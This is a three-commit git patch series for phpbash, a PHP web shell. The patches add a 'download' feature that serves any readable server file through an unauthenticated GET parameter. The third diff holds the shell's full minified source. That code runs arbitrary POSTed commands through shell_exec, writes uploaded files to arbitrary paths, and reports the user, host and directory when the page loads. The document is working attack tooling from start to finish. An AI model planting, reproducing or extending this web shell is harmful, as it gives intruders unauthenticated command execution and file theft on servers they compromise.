From 2ba990a1719eb402f3cca32727d0bf7bd3fa950a Mon Sep 17 00:00:00 2001
From: Nick Dandolos <128314429+b4ndit23@users.noreply.github.com>
Date: Tue, 3 Feb 2026 00:10:22 +0100
Subject: [PATCH 1/3] Update phpbash.php

---
 phpbash.php | 89 ++++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 88 insertions(+), 1 deletion(-)
diff --git a/phpbash.php b/phpbash.php
index dd7ff71..bff64e8 100644
--- a/phpbash.php
+++ b/phpbash.php
@@ -1,5 +1,31 @@
 <?php
 /* phpbash by Alexander Reid (Arrexel) */
+/* Modified with download feature by b4ndit23 */
+
+if (ISSET($_GET['download']) && ISSET($_GET['path'])) {
+    $filepath = $_GET['path'];
+    $filename = basename($filepath);
+    
+    if (file_exists($filepath) && is_readable($filepath)) {
+        header('Content-Description: File Transfer');
+        header('Content-Type: application/octet-stream');
+        header('Content-Disposition: attachment; filename="' . $filename . '"');
+        header('Content-Length: ' . filesize($filepath));
+        header('Cache-Control: must-revalidate');
+        header('Pragma: public');
+        
+        ob_clean();
+        flush();
+        
+        readfile($filepath);
+        exit;
+    } else {
+        header("HTTP/1.0 404 Not Found");
+        echo "File not found or not readable";
+        exit;
+    }
+}
+
 if (ISSET($_POST['cmd'])) {
     $output = preg_split('/[\n]/', shell_exec($_POST['cmd']." 2>&1"));
     foreach ($output as $line) {
@@ -23,7 +49,7 @@
 
 <html>
     <head>
-        <title></title>
+        <title>phpbash</title>
         <style>
             html, body {
                 max-width: 100%;
@@ -194,6 +220,13 @@ function sendCommand() {
                 } else if (parsedCommand[0] == "upload") {
                     fileBrowserElement.click();
                     return false;
+                } else if (parsedCommand[0] == "download") {
+                    if (parsedCommand.length < 2) {
+                        outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# "+originalCommand+"</div><br>Usage: download &lt;filename&gt;<br>";
+                        return false;
+                    }
+                    downloadFile(parsedCommand.slice(1).join(" "), originalCommand, originalDir);
+                    return false;
                 } else {
                     command = "cd "+currentDir+"; " + command;
                 }
@@ -220,6 +253,54 @@ function sendCommand() {
                 return false;
             }
             
+            function downloadFile(filename, originalCommand, originalDir) {      
+                var filepath;
+                if (filename.startsWith('/')) {
+                    filepath = filename;
+                } else {
+                    filepath = currentDir;
+                    if (currentDir != "/") {
+                        filepath += "/";
+                    }
+                    filepath += filename;
+                }
+                
+                var checkRequest = new XMLHttpRequest();
+                
+                checkRequest.onreadystatechange = function() {
+                    if (checkRequest.readyState == XMLHttpRequest.DONE) {
+                        var response = checkRequest.responseText.trim();
+                        
+                        response = response.replace(/<br>/g, '');
+                        
+                        if (response === "OK") {
+                            outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>Downloading "+htmlentities(filename)+"...<br>";
+                            
+                            var downloadUrl = "?download=1&path=" + encodeURIComponent(filepath);
+                            var link = document.createElement('a');
+                            link.href = downloadUrl;
+                            link.download = filename.split('/').pop(); 
+                            document.body.appendChild(link);
+                            link.click();
+                            document.body.removeChild(link);
+                            
+                            setTimeout(function() {
+                                outputElement.innerHTML += "Download started for "+htmlentities(filename)+"<br>";
+                                outputElement.scrollTop = outputElement.scrollHeight;
+                            }, 100);
+                        } else {
+                            outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>Error: File not found or not readable: "+htmlentities(filename)+"<br>";
+                            outputElement.scrollTop = outputElement.scrollHeight;
+                        }
+                    }
+                };
+                
+                var checkCommand = "[ -f '"+filepath.replace(/'/g, "'\\''")+"' ] && [ -r '"+filepath.replace(/'/g, "'\\''")+"' ] && echo 'OK' || echo 'FAIL'";
+                checkRequest.open("POST", "", true);
+                checkRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+                checkRequest.send("cmd="+encodeURIComponent(checkCommand));
+            }
+            
             function uploadFile() {
                 var formData = new FormData();
                 formData.append('file', fileBrowserElement.files[0], fileBrowserElement.files[0].name);
@@ -242,6 +323,10 @@ function updateInputWidth() {
                 inputTextElement.style.width = inputElement.clientWidth - usernameElement.clientWidth - 15;
             }
             
+            function htmlentities(str) {
+                return String(str).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
+            }
+            
             document.onkeydown = checkForArrowKeys;
 
             function checkForArrowKeys(e) {
@@ -283,3 +368,5 @@ function switchCommand(newCommand) {
         </script>
     </body>
 </html>
+
+

From 61afb5d80e65daf0830b531b3f7ae6186a459ac0 Mon Sep 17 00:00:00 2001
From: Nick Dandolos <128314429+b4ndit23@users.noreply.github.com>
Date: Wed, 4 Feb 2026 19:49:26 +0100
Subject: [PATCH 2/3] Update phpbash.php

---
 phpbash.php | 22 +++++++++-------------
 1 file changed, 9 insertions(+), 13 deletions(-)

diff --git a/phpbash.php b/phpbash.php
index bff64e8..7f02ed8 100644
--- a/phpbash.php
+++ b/phpbash.php
@@ -2,7 +2,13 @@
 /* phpbash by Alexander Reid (Arrexel) */
 /* Modified with download feature by b4ndit23 */
 
+ob_start();
+
 if (ISSET($_GET['download']) && ISSET($_GET['path'])) {
+    while (ob_get_level()) {
+        ob_end_clean();
+    }
+    
     $filepath = $_GET['path'];
     $filename = basename($filepath);
     
@@ -14,9 +20,6 @@
         header('Cache-Control: must-revalidate');
         header('Pragma: public');
         
-        ob_clean();
-        flush();
-        
         readfile($filepath);
         exit;
     } else {
@@ -253,9 +256,10 @@ function sendCommand() {
                 return false;
             }
             
-            function downloadFile(filename, originalCommand, originalDir) {      
+            function downloadFile(filename, originalCommand, originalDir) {
                 var filepath;
                 if (filename.startsWith('/')) {
+                    // Absolute path
                     filepath = filename;
                 } else {
                     filepath = currentDir;
@@ -276,13 +280,7 @@ function downloadFile(filename, originalCommand, originalDir) {
                         if (response === "OK") {
                             outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>Downloading "+htmlentities(filename)+"...<br>";
                             
-                            var downloadUrl = "?download=1&path=" + encodeURIComponent(filepath);
-                            var link = document.createElement('a');
-                            link.href = downloadUrl;
-                            link.download = filename.split('/').pop(); 
-                            document.body.appendChild(link);
-                            link.click();
-                            document.body.removeChild(link);
+                            window.location.href = window.location.pathname + "?download=1&path=" + encodeURIComponent(filepath);
                             
                             setTimeout(function() {
                                 outputElement.innerHTML += "Download started for "+htmlentities(filename)+"<br>";
@@ -368,5 +366,3 @@ function switchCommand(newCommand) {
         </script>
     </body>
 </html>
-
-

From 38beac9046f56d1febb7314fdb796bca4ee97437 Mon Sep 17 00:00:00 2001
From: Nick Dandolos <128314429+b4ndit23@users.noreply.github.com>
Date: Wed, 4 Feb 2026 19:59:03 +0100
Subject: [PATCH 3/3] Update phpbash.min.php

---
 phpbash.min.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/phpbash.min.php b/phpbash.min.php
index bca0cff..7928389 100644
--- a/phpbash.min.php
+++ b/phpbash.min.php
@@ -1 +1 @@
-<?php /* phpbash by Alexander Reid (Arrexel) */ if (ISSET($_POST['cmd'])){$output=preg_split('/[\n]/', shell_exec($_POST['cmd']." 2>&1")); foreach ($output as $line){echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "<br>";}die();}else if (!empty($_FILES['file']['tmp_name']) && !empty($_POST['path'])){$filename=$_FILES["file"]["name"]; $path=$_POST['path']; if ($path !="/"){$path .="/";}if (move_uploaded_file($_FILES["file"]["tmp_name"], $path.$filename)){echo htmlentities($filename) . " successfully uploaded to " . htmlentities($path);}else{echo "Error uploading " . htmlentities($filename);}die();}?><html> <head> <title></title> <style>html, body{max-width: 100%;}body{width: 100%; height: 100%; margin: 0; background: #000;}body, .inputtext{font-family: "Lucida Console", "Lucida Sans Typewriter", monaco, "Bitstream Vera Sans Mono", monospace; font-size: 14px; font-style: normal; font-variant: normal; font-weight: 400; line-height: 20px; overflow: hidden;}.console{width: 100%; height: 100%; margin: auto; position: absolute; color: #fff;}.output{width: auto; height: auto; position: absolute; overflow-y: scroll; top: 0; bottom: 30px; left: 5px; right: 0; line-height: 20px;}.input form{position: relative; margin-bottom: 0px;}.username{height: 30px; width: auto; padding-left: 5px; line-height: 30px; float: left;}.input{border-top: 1px solid #333333; width: 100%; height: 30px; position: absolute; bottom: 0;}.inputtext{width: auto; height: 30px; bottom: 0px; margin-bottom: 0px; background: #000; border: 0; float: left; padding-left: 8px; color: #fff;}.inputtext:focus{outline: none;}::-webkit-scrollbar{width: 12px;}::-webkit-scrollbar-track{background: #101010;}::-webkit-scrollbar-thumb{background: #303030;}</style> </head> <body> <div class="console"> <div class="output" id="output"></div><div class="input" id="input"> <form id="form" method="GET" onSubmit="sendCommand()"> <div class="username" id="username"></div><input class="inputtext" id="inputtext" type="text" name="cmd" autocomplete="off" autofocus> </form> </div></div><form id="upload" method="POST" style="display: none;"> <input type="file" name="file" id="filebrowser" onchange='uploadFile()'/> </form> <script type="text/javascript">var username=""; var hostname=""; var currentDir=""; var previousDir=""; var defaultDir=""; var commandHistory=[]; var currentCommand=0; var inputTextElement=document.getElementById('inputtext'); var inputElement=document.getElementById("input"); var outputElement=document.getElementById("output"); var usernameElement=document.getElementById("username"); var uploadFormElement=document.getElementById("upload"); var fileBrowserElement=document.getElementById("filebrowser"); getShellInfo(); function getShellInfo(){var request=new XMLHttpRequest(); request.onreadystatechange=function(){if (request.readyState==XMLHttpRequest.DONE){var parsedResponse=request.responseText.split("<br>"); username=parsedResponse[0]; hostname=parsedResponse[1]; currentDir=parsedResponse[2].replace(new RegExp("&sol;", "g"), "/"); defaultDir=currentDir; usernameElement.innerHTML="<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#"; updateInputWidth();}}; request.open("POST", "", true); request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send("cmd=whoami; hostname; pwd");}function sendCommand(){var request=new XMLHttpRequest(); var command=inputTextElement.value; var originalCommand=command; var originalDir=currentDir; var cd=false; commandHistory.push(originalCommand); switchCommand(commandHistory.length); inputTextElement.value=""; var parsedCommand=command.split(" "); if (parsedCommand[0]=="cd"){cd=true; if (parsedCommand.length==1){command="cd "+defaultDir+"; pwd";}else if (parsedCommand[1]=="-"){command="cd "+previousDir+"; pwd";}else{command="cd "+currentDir+"; "+command+"; pwd";}}else if (parsedCommand[0]=="clear"){outputElement.innerHTML=""; return false;}else if (parsedCommand[0]=="upload"){fileBrowserElement.click(); return false;}else{command="cd "+currentDir+"; " + command;}request.onreadystatechange=function(){if (request.readyState==XMLHttpRequest.DONE){if (cd){var parsedResponse=request.responseText.split("<br>"); previousDir=currentDir; currentDir=parsedResponse[0].replace(new RegExp("&sol;", "g"), "/"); outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>"; usernameElement.innerHTML="<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#";}else{outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# "+originalCommand+"</div><br>" + request.responseText.replace(new RegExp("<br><br>$"), "<br>"); outputElement.scrollTop=outputElement.scrollHeight;}updateInputWidth();}}; request.open("POST", "", true); request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send("cmd="+encodeURIComponent(command)); return false;}function uploadFile(){var formData=new FormData(); formData.append('file', fileBrowserElement.files[0], fileBrowserElement.files[0].name); formData.append('path', currentDir); var request=new XMLHttpRequest(); request.onreadystatechange=function(){if (request.readyState==XMLHttpRequest.DONE){outputElement.innerHTML +=request.responseText+"<br>";}}; request.open("POST", "", true); request.send(formData); outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# Uploading "+fileBrowserElement.files[0].name+"...</div><br>";}function updateInputWidth(){inputTextElement.style.width=inputElement.clientWidth - usernameElement.clientWidth - 15;}document.onkeydown=checkForArrowKeys; function checkForArrowKeys(e){e=e || window.event; if (e.keyCode=='38'){previousCommand();}else if (e.keyCode=='40'){nextCommand();}}function previousCommand(){if (currentCommand !=0){switchCommand(currentCommand-1);}}function nextCommand(){if (currentCommand !=commandHistory.length){switchCommand(currentCommand+1);}}function switchCommand(newCommand){currentCommand=newCommand; if (currentCommand==commandHistory.length){inputTextElement.value="";}else{inputTextElement.value=commandHistory[currentCommand]; setTimeout(function(){inputTextElement.selectionStart=inputTextElement.selectionEnd=10000;}, 0);}}document.getElementById("form").addEventListener("submit", function(event){event.preventDefault()}); </script> </body></html>
+<?php ob_start(); if (ISSET($_GET['download']) && ISSET($_GET['path'])){while (ob_get_level()){ob_end_clean();} $filepath=$_GET['path']; $filename=basename($filepath); if (file_exists($filepath) && is_readable($filepath)){header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $filename . '"'); header('Content-Length: ' . filesize($filepath)); header('Cache-Control: must-revalidate'); header('Pragma: public'); readfile($filepath); exit;}else{header("HTTP/1.0 404 Not Found"); echo "File not found or not readable"; exit;}} if (ISSET($_POST['cmd'])){$output=preg_split('/[\n]/', shell_exec($_POST['cmd']." 2>&1")); foreach ($output as $line){echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "<br>";}die();}else if (!empty($_FILES['file']['tmp_name']) && !empty($_POST['path'])){$filename=$_FILES["file"]["name"]; $path=$_POST['path']; if ($path !="/"){$path .="/";}if (move_uploaded_file($_FILES["file"]["tmp_name"], $path.$filename)){echo htmlentities($filename) . " successfully uploaded to " . htmlentities($path);}else{echo "Error uploading " . htmlentities($filename);}die();}?><html><head><title>phpbash</title><style>html, body{max-width: 100%;}body{width: 100%; height: 100%; margin: 0; background: #000;}body, .inputtext{font-family: "Lucida Console", "Lucida Sans Typewriter", monaco, "Bitstream Vera Sans Mono", monospace; font-size: 14px; font-style: normal; font-variant: normal; font-weight: 400; line-height: 20px; overflow: hidden;}.console{width: 100%; height: 100%; margin: auto; position: absolute; color: #fff;}.output{width: auto; height: auto; position: absolute; overflow-y: scroll; top: 0; bottom: 30px; left: 5px; right: 0; line-height: 20px;}.input form{position: relative; margin-bottom: 0px;}.username{height: 30px; width: auto; padding-left: 5px; line-height: 30px; float: left;}.input{border-top: 1px solid #333333; width: 100%; height: 30px; position: absolute; bottom: 0;}.inputtext{width: auto; height: 30px; bottom: 0px; margin-bottom: 0px; background: #000; border: 0; float: left; padding-left: 8px; color: #fff;}.inputtext:focus{outline: none;}::-webkit-scrollbar{width: 12px;}::-webkit-scrollbar-track{background: #101010;}::-webkit-scrollbar-thumb{background: #303030;}</style></head><body><div class="console"><div class="output" id="output"></div><div class="input" id="input"><form id="form" method="GET" onSubmit="sendCommand()"><div class="username" id="username"></div><input class="inputtext" id="inputtext" type="text" name="cmd" autocomplete="off" autofocus></form></div></div><form id="upload" method="POST" style="display: none;"><input type="file" name="file" id="filebrowser" onchange='uploadFile()'/></form><script type="text/javascript">var username=""; var hostname=""; var currentDir=""; var previousDir=""; var defaultDir=""; var commandHistory=[]; var currentCommand=0; var inputTextElement=document.getElementById('inputtext'); var inputElement=document.getElementById("input"); var outputElement=document.getElementById("output"); var usernameElement=document.getElementById("username"); var uploadFormElement=document.getElementById("upload"); var fileBrowserElement=document.getElementById("filebrowser"); getShellInfo(); function getShellInfo(){var request=new XMLHttpRequest(); request.onreadystatechange=function(){if (request.readyState==XMLHttpRequest.DONE){var parsedResponse=request.responseText.split("<br>"); username=parsedResponse[0]; hostname=parsedResponse[1]; currentDir=parsedResponse[2].replace(new RegExp("&sol;", "g"), "/"); defaultDir=currentDir; usernameElement.innerHTML="<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#"; updateInputWidth();}}; request.open("POST", "", true); request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send("cmd=whoami; hostname; pwd");}function sendCommand(){var request=new XMLHttpRequest(); var command=inputTextElement.value; var originalCommand=command; var originalDir=currentDir; var cd=false; commandHistory.push(originalCommand); switchCommand(commandHistory.length); inputTextElement.value=""; var parsedCommand=command.split(" "); if (parsedCommand[0]=="cd"){cd=true; if (parsedCommand.length==1){command="cd "+defaultDir+"; pwd";}else if (parsedCommand[1]=="-"){command="cd "+previousDir+"; pwd";}else{command="cd "+currentDir+"; "+command+"; pwd";}}else if (parsedCommand[0]=="clear"){outputElement.innerHTML=""; return false;}else if (parsedCommand[0]=="upload"){fileBrowserElement.click(); return false;}else if (parsedCommand[0]=="download"){if (parsedCommand.length < 2){outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# "+originalCommand+"</div><br>Usage: download &lt;filename&gt;<br>"; return false;}downloadFile(parsedCommand.slice(1).join(" "), originalCommand, originalDir); return false;}else{command="cd "+currentDir+"; " + command;}request.onreadystatechange=function(){if (request.readyState==XMLHttpRequest.DONE){if (cd){var parsedResponse=request.responseText.split("<br>"); previousDir=currentDir; currentDir=parsedResponse[0].replace(new RegExp("&sol;", "g"), "/"); outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>"; usernameElement.innerHTML="<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#";}else{outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# "+originalCommand+"</div><br>" + request.responseText.replace(new RegExp("<br><br>$"), "<br>"); outputElement.scrollTop=outputElement.scrollHeight;}updateInputWidth();}}; request.open("POST", "", true); request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send("cmd="+encodeURIComponent(command)); return false;}function downloadFile(filename, originalCommand, originalDir){var filepath; if (filename.startsWith('/')){filepath=filename;}else{filepath=currentDir; if (currentDir !="/"){filepath +="/";}filepath +=filename;}var checkRequest=new XMLHttpRequest(); checkRequest.onreadystatechange=function(){if (checkRequest.readyState==XMLHttpRequest.DONE){var response=checkRequest.responseText.trim(); response=response.replace(/<br>/g, ''); if (response==="OK"){outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>Downloading "+htmlentities(filename)+"...<br>"; window.location.href=window.location.pathname + "?download=1&path=" + encodeURIComponent(filepath); setTimeout(function(){outputElement.innerHTML +="Download started for "+htmlentities(filename)+"<br>"; outputElement.scrollTop=outputElement.scrollHeight;}, 100);}else{outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>Error: File not found or not readable: "+htmlentities(filename)+"<br>"; outputElement.scrollTop=outputElement.scrollHeight;}}}; var checkCommand="[ -f '"+filepath.replace(/'/g, "'\\''")+"' ] && [ -r '"+filepath.replace(/'/g, "'\\''")+"' ] && echo 'OK' || echo 'FAIL'"; checkRequest.open("POST", "", true); checkRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); checkRequest.send("cmd="+encodeURIComponent(checkCommand));}function uploadFile(){var formData=new FormData(); formData.append('file', fileBrowserElement.files[0], fileBrowserElement.files[0].name); formData.append('path', currentDir); var request=new XMLHttpRequest(); request.onreadystatechange=function(){if (request.readyState==XMLHttpRequest.DONE){outputElement.innerHTML +=request.responseText+"<br>";}}; request.open("POST", "", true); request.send(formData); outputElement.innerHTML +="<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# Uploading "+fileBrowserElement.files[0].name+"...</div><br>";}function updateInputWidth(){inputTextElement.style.width=inputElement.clientWidth - usernameElement.clientWidth - 15;}function htmlentities(str){return String(str).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');}document.onkeydown=checkForArrowKeys; function checkForArrowKeys(e){e=e || window.event; if (e.keyCode=='38'){previousCommand();}else if (e.keyCode=='40'){nextCommand();}}function previousCommand(){if (currentCommand !=0){switchCommand(currentCommand-1);}}function nextCommand(){if (currentCommand !=commandHistory.length){switchCommand(currentCommand+1);}}function switchCommand(newCommand){currentCommand=newCommand; if (currentCommand==commandHistory.length){inputTextElement.value="";}else{inputTextElement.value=commandHistory[currentCommand]; setTimeout(function(){inputTextElement.selectionStart=inputTextElement.selectionEnd=10000;}, 0);}}document.getElementById("form").addEventListener("submit", function(event){event.preventDefault()});</script></body></html>
